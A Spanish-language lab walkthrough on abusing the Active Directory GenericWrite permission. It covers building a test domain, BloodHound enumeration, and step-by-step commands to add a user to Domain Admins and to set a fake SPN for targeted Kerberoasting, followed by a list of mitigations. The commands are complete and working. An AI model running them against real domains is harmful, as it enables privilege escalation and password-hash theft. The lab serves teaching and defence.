Abusando del permiso GenericWrite

El permiso GenericWrite permite escribir en cualquier atributo no protegido de un objeto de Active Directory. Entre esos atributos se encuentran algunos especialmente sensibles, como member (para modificar membresías de grupos) o servicePrincipalName (para registrar o alterar SPNs en cuentas de usuario o servicio).

En la práctica, este permiso habilita escenarios de movimiento lateral y compromiso del dominio, por ejemplo agregarte a grupos privilegiados, generar SPNs para ataques de Kerberoasting/S4U, o modificar scripts de logon para ejecutar payloads en los equipos del dominio.

GenericWrite sobre un grupo

Configuración del laboratorio

Creación de cuentas

Lo primero que haremos será crear 3 cuentas de usuario las cuales usuaremos para nuestro laboratorio.

net user sam Password123! /add /domain
net user bob Password123! /add /domain
net user joe Password123! /add /domain

Asignar el privilegio “GenericWrite” al usuario sam

El siguiente paso, es asignar el privilegio GenericWrite al usuario sam.

  • Accedemos a Active Directory Users and Computers en el Domain Controller

  • Habilitamos las Advanced Features (caracteristicas avanzadas) haciendo clic en View -> Advanced Features.

  • A continuación, accedemos a las propiedades del grupo Domain Admins haciendo clic derecho sobre el grupo.

  • Navegamos a la pestaña de Security y hacemos clic en Add.

  • En el cuadro “Enter the object names to select”, escribimos sam y hacemos clic en Check Name y por último hacemos clic en Ok.

  • En la sección de permisos, marcamos la casilla de Write. Al marcar este permiso, notamos que también se habilita el permiso Add/remove self as member.

Tras aplicar la configuración, sam ahora tiene derechos de GenericWrite y AddSelf sobre el grupo Domain Admins . Por lo tanto , puede agregarse a sí mismo (o a cualquier principal que controle) al grupo.

Enumeración

Ahora que tenemos configurado nuestro laboratorio, empecemos realizando una enumeración. Para lo cual, usaremos la herramienta BloodHound.

bloodhound-python -d zonahacking.local -ns 192.168.56.100 -u sam -p Password123! --zip -c All

Podemos observar en el gráfico anterior, que efectivamente el usuario sam tiene los privilegios GenericWrite y AddSelf sobre el grupo Domain Admins.

Explotación

BloodyAD

Podemos abusar de este privilegio agregando al usuario sam al grupo Domain Admins, para lo cual podemos utilizar la herramienta bloodyAD.

bloodyAD --host 192.168.56.100 -d zonahacking.local -u sam -p Password123! add groupMember "Domain Admins" sam

Linux - net rpc

De forma alternativa, también podemos utilizar la herramienta net de Linux.

net rpc group addmem "Domain Admins" sam -U zonahacking.local/sam%'Password123!' -S 192.168.56.100

Windows - Comando net

También, si tenemos acceso de forma remota al DC, podemos utilizar el comando net de Windows.

net group "Domain Admins" sam /add /domain

Confirmamos que el usuario se agrego de forma correcta al grupo.

net user sam /domain

Windows - PowerShell - PowerView

Otra forma que podemos utilizar para agregar al usuario al grupo, es usando PowerShell donde podemos hacer uso del módulo Active Directory o del módulo de PowerView.

powershell -ep bypass
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('zonahacking.local\sam', $SecPassword)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'sam' -Credential $Cred

GenericWrite sobre otro usuario

Configuración del laboratorio

Asignamos el privilegio GeneriWrite al usuario joe sobre el usuario bob.

Accedemos a las propiedades del usuario bob desde la sección de Active Directory Users and Computers en el Domain Controller.

  • En la pestaña Security hacemos clic en Add
  • En el cuadro “Enter the object names to select”, escribimos joe y hacemos clic en Check Names y luego clic en Ok.

  • Seleccione el usuario joe y en la sección de permisos, marcamos la casilla Write
  • Por último aplicamos la configuración haciendo clic en Apply y luego en Ok.

De esta forma, el usuario joe tiene el permiso GenericWrite sobre el usuario bob.

Enumeración

BloodHound

Realizamos nuevamente una enumeración con Bloodhound.

bloodhound-python -d zonahacking.local -ns 192.168.56.100 -u joe -p Password123! --zip -c All

Del gráfico anterior se puede observar que el usuario joe posee el privilegio GenericWrite sobre el usuario bob.

impacket-dacledit

Otra forma de enumerar es utilizando el script dacledit.py en este caso de la suite de Impacket

impacket-dacledit zonahacking.local/joe:Password123! -dc-ip 192.168.56.100 -dc-host DC01 -action read -target bob | grep 'joe' -B 4

Explotación

Linux Kerberoasting - targetedKerberoast.py

Este script realiza dos pasos. En primer lugar, asigna un SPN al usuario y luego realiza un Kerberoasting obteniendo el hash correspondiente el cual podemos crackear de forma offline usando herramientas como hashcat o jonh.

python3 targetedKerberoast.py --dc-ip 192.168.56.100 -d zonahacking.local -u joe -p Password123! -v

Windows Kerberoasting - PowerShell - PowerView

En caso de que el usuario tenga acceso a la máquina Windows, esto se puede lograr con los cmdlets Set-DomainObject y Get-DomainSPNTicket del módulo PowerView.

powershell -ep bypass
Import-Module .\PowerView.ps1
Set-DomainObject -Identity 'bob' -Set @{serviceprincipalname='fake/spn'}
Get-DomainUser 'bob' | Select serviceprincipalname
$User = Get-DomainUser 'bob'
$User | Get-DomainSPNTicket

Mitgaciones

En cuanto a medidas para mitigar el abuso de este permiso existen varias que podemos considerar tener en cuenta, entre ellas:

  1. Eliminar delegaciones execisavas: Revisar permisos asignados por delegación y remover GenericWrite cuando no es necesario
  2. Aplicar principio de mínimo privilegio: Remplazar GenericWrite por atributos granulares como puede ser WriteProperty cuando sólo se necesite modificar campos específicos.
  3. Limitar modificacion de SPNs: Restringir quién puede modificar servicePrincipalName para evitar Kerberoasting/S4U.
  4. Fortalecer el uso de Service Accounts: Usar gMSA, rotar contraseñas, impedir logon interactivo y evitar permisos de escritura en objetos AD.
  5. Auditar permisos y ACLs periódicamente: Revisar objetos sensibles (Users, Admins, Service Accounts, Computers, Groups) en busca de GenericWrite.
  6. Implementar modelos de tiering en AD : Separar cuentas administrativas y de servicio para reducir paths hacia Domain Admins.

Y así cerramos el lab.

Ahora ya sabés cómo configurar y abusar GenericWrite paso a paso, y qué cosas tener en cuenta para no regalar este permiso en un AD real.

Gracias por leer - ¡Happy Hacking!